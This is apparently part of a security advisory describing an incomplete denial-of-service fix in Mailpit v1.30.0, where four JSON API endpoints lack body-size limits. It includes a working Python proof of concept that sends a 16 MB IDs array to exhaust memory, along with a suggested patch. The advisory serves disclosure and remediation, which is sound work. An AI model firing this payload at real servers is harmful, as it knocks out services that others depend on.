+ "details": "### Summary\n\nThe fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, \"Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes\") wrapped only `POST /api/v1/send` with `http.MaxBytesReader`. The four other Mailpit JSON-body API endpoints `PUT /api/v1/messages` (SetReadStatus), `DELETE /api/v1/messages` (DeleteMessages), `PUT /api/v1/tags` (SetMessageTags), and `POST /api/v1/message/{id}/release` (ReleaseMessage) still call `json.NewDecoder(r.Body)` directly with no body-size cap and remain reachable unauthenticated in the default `docker run axllent/mailpit:latest` deploy. An unauthenticated remote attacker can post a multi-million-element `IDs` slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process.\n\n### Affected versions\n\n- Mailpit at HEAD `67a7ca83ff759082d2b86dda07eb5bb3dad404e0` (v1.30.0, 2026-05-14).\n- All versions `<= v1.30.0` (the release that shipped the GHSA-fpxj fix). Versions `< v1.30.0` are vulnerable to the original GHSA-fpxj on `/api/v1/send`; version `v1.30.0` carries the sibling-endpoint gap described here.\n\n### Privilege required\n\nNone in default deploy (no `--ui-auth`, no `--smtp-auth`). The four endpoints share the same `middleWareFunc` wrapper as the original GHSA-fpxj target, so the same default-no-auth threat model applies. With `--ui-auth=user:pass` configured, the same primitive is post-auth — still useful since UI-auth Mailpit deployments commonly run on internal ops subnets where one stolen UI credential pivots into an RSS-exhaustion vector against the same host.\n\n### The incomplete fix\n\nCommit `136bdde` (\"Security: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes (GHSA-fpxj-m5q8-fphw)\", 2026-05-12) added the `MaxBytesReader` wrap in exactly one place:\n\n```go\n// server/apiv1/send.go:45-48\nif config.MaxMessageSize > 0 {\n r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)\n}\n\ndecoder := json.NewDecoder(r.Body)\n```\n\nThe sibling JSON-body handlers were not updated. Side-by-side at HEAD `67a7ca8`:\n\n| File | Function | `MaxBytesReader`? | Unauth in default deploy? |\n|---|---|---|---|\n| `server/apiv1/send.go:45-48` (`SendMessageHandler`) | POST `/api/v1/send` | YES (50 MB) | YES (via `sendAPIAuthMiddleware` falling back to `middleWareFunc`) |\n| `server/apiv1/messages.go:107` (`SetReadStatus`) | PUT `/api/v1/messages` | NO | YES |\n| `server/apiv1/messages.go:187` (`DeleteMessages`) | DELETE `/api/v1/messages` | NO | YES |\n| `server/apiv1/tags.go:54` (`SetMessageTags`) | PUT `/api/v1/tags` | NO | YES |\n| `server/apiv1/release.go:55` (`ReleaseMessage`) | POST `/api/v1/message/{id}/release` | NO | YES |\n\nThe four sibling handlers all share the shape:\n\n```go\n// server/apiv1/messages.go:107-115 (SetReadStatus)\ndecoder := json.NewDecoder(r.Body)\n\nvar data struct {\n Read bool\n IDs []string\n Search string\n}\n\nerr := decoder.Decode(&data)\n```\n\nNo `MaxBytesReader`, no body-size cap, no `r.Header.Get(\"Content-Length\")` check. The `json.NewDecoder` streams the body but each `\"x\"` element materialises as a separate Go `string` plus slice-header overhead, so the unmarshalled `[]string` slice for `IDs` grows roughly linearly with attacker payload size.\n\n### Vulnerable code\n\n`server/apiv1/messages.go:107`:\n\n```go\nfunc SetReadStatus(w http.ResponseWriter, r *http.Request) {\n decoder := json.NewDecoder(r.Body)\n\n var data struct {\n Read bool\n IDs []string\n Search string\n }\n\n err := decoder.Decode(&data)\n if err != nil {\n httpError(w, err.Error())\n return\n }\n // ...\n```\n\nThree other handlers (`DeleteMessages`, `SetMessageTags`, `ReleaseMessage`) match the same shape.\n\n### Reachability chain (default deploy)\n\n```\nListen() # config/config.go HTTPListen = \"[::]:8025\"\n ↓\nHTTP server # server/server.go:177-186\n ↓\nmiddleWareFunc(apiv1.SetReadStatus) # server/server.go:178 — auth bypassed when UICredentials == nil\n ↓\nSetReadStatus # server/apiv1/messages.go:87\n ↓\njson.NewDecoder(r.Body).Decode(&data) # no MaxBytesReader; allocates 4M Go strings + slice for {\"IDs\":[\"x\",...]}\n ↓\nRSS grows ~28x relative to payload size\n```\n\n`config/config.go`'s `MaxMessageSize` field (added by 136bdde) exists and is parsed from `--max-message-size` (default 50 MB), but it is checked only in `server/apiv1/send.go`. The four sibling handlers never consult it.\n\n### Reproduction (E2E against `axllent/mailpit:latest` v1.30.0)\n\n```bash\n# 1) start mailpit with defaults (no --ui-auth, no --smtp-auth)\ndocker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest\n\n# 2) baseline RSS\ndocker stats mailpit-test --no-stream --format '{{.MemUsage}}'\n# → 8.473MiB / 5.772GiB\n\n# 3) trigger\npython3 - <<'PY'\nimport socket\nN = 4_000_000\nprefix = b'{\"Read\": true, \"IDs\": ['\nitems = b'\"x\"' + (b',\"x\"' * (N - 1))\nsuffix = b']}'\nclen = len(prefix) + len(items) + len(suffix)\ns = socket.create_connection((\"localhost\", 18025), timeout=300)\ns.sendall(\n b\"PUT /api/v1/messages HTTP/1.1\\r\\n\"\n b\"Host: localhost:18025\\r\\n\"\n b\"Content-Type: application/json\\r\\n\"\n b\"Content-Length: \" + str(clen).encode() + b\"\\r\\n\"\n b\"Connection: close\\r\\n\\r\\n\")\ns.sendall(prefix)\nrem = items\nwhile rem:\n s.sendall(rem[:1024*1024]); rem = rem[1024*1024:]\ns.sendall(suffix)\ns.close()\nPY\n\n# 4) post-PoC RSS\ndocker stats mailpit-test --no-stream --format '{{.MemUsage}}'\n# → 455.8MiB / 5.772GiB\n```\n\nObserved: a single 16 MB JSON body drove Mailpit RSS from 8.473 MiB to 455.8 MiB (+447 MiB, ~28× amplification). Memory is not freed between requests; repeating the PoC over multiple TCP connections sums per-process until the operator restarts the container or the host memory pressure regime terminates it.\n\nThe same primitive reproduces on `DELETE /api/v1/messages`, `PUT /api/v1/tags`, and `POST /api/v1/message/{any-id}/release` with identical body shapes; each of the four endpoints individually reproduces the same amplification.\n\n### Impact\n\n- **Pre-auth remote memory-exhaustion DoS.** Default-deploy Mailpit (the deployment shape the README documents for dev/CI use) is reachable unauthenticated on `[::]:8025`. A single TCP connection sending one ~100 MB JSON `IDs` body drives RSS to ~2.8 GB. Multiple concurrent connections compound the per-process RSS growth. Class-and-severity match the parent CVE-2026-45710.\n- **Disk amplification (secondary).** The `IDs` slice itself is not persisted to SQLite (unlike the parent GHSA-fpxj message-body path), so disk pressure is limited to whatever the handler does downstream. For `SetReadStatus`, the slice is iterated and an UPDATE is issued for each id; with 4M entries the per-call work is also linear in `len(ids)`.\n- **Same threat model as the parent.** The maintainer chose 50 MB as the default cap for `/api/v1/send` to bound the worst case there. Without the same cap on these sibling endpoints, the per-process worst-case is unbounded.\n\n### Suggested fix\n\nApply the same `MaxBytesReader` pattern already proven on `send.go` to every JSON-body handler. Concretely, wrap each of the four sibling sites:\n\n```go\n// server/apiv1/messages.go:107 (SetReadStatus)\nif config.MaxMessageSize > 0 {\n r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)\n}\ndecoder := json.NewDecoder(r.Body)\n\n// server/apiv1/messages.go:187 (DeleteMessages) — same wrap\n// server/apiv1/tags.go:54 (SetMessageTags) — same wrap\n// server/apiv1/release.go:55 (ReleaseMessage) — same wrap\n```\n\nA cleaner shape is to factor the cap into the existing `middleWareFunc` wrapper in `server/server.go`, so every API handler that is not an upload-style endpoint inherits the cap by default. \n\n### Credit\n\nReported by tonghuaroot.",
0 commit comments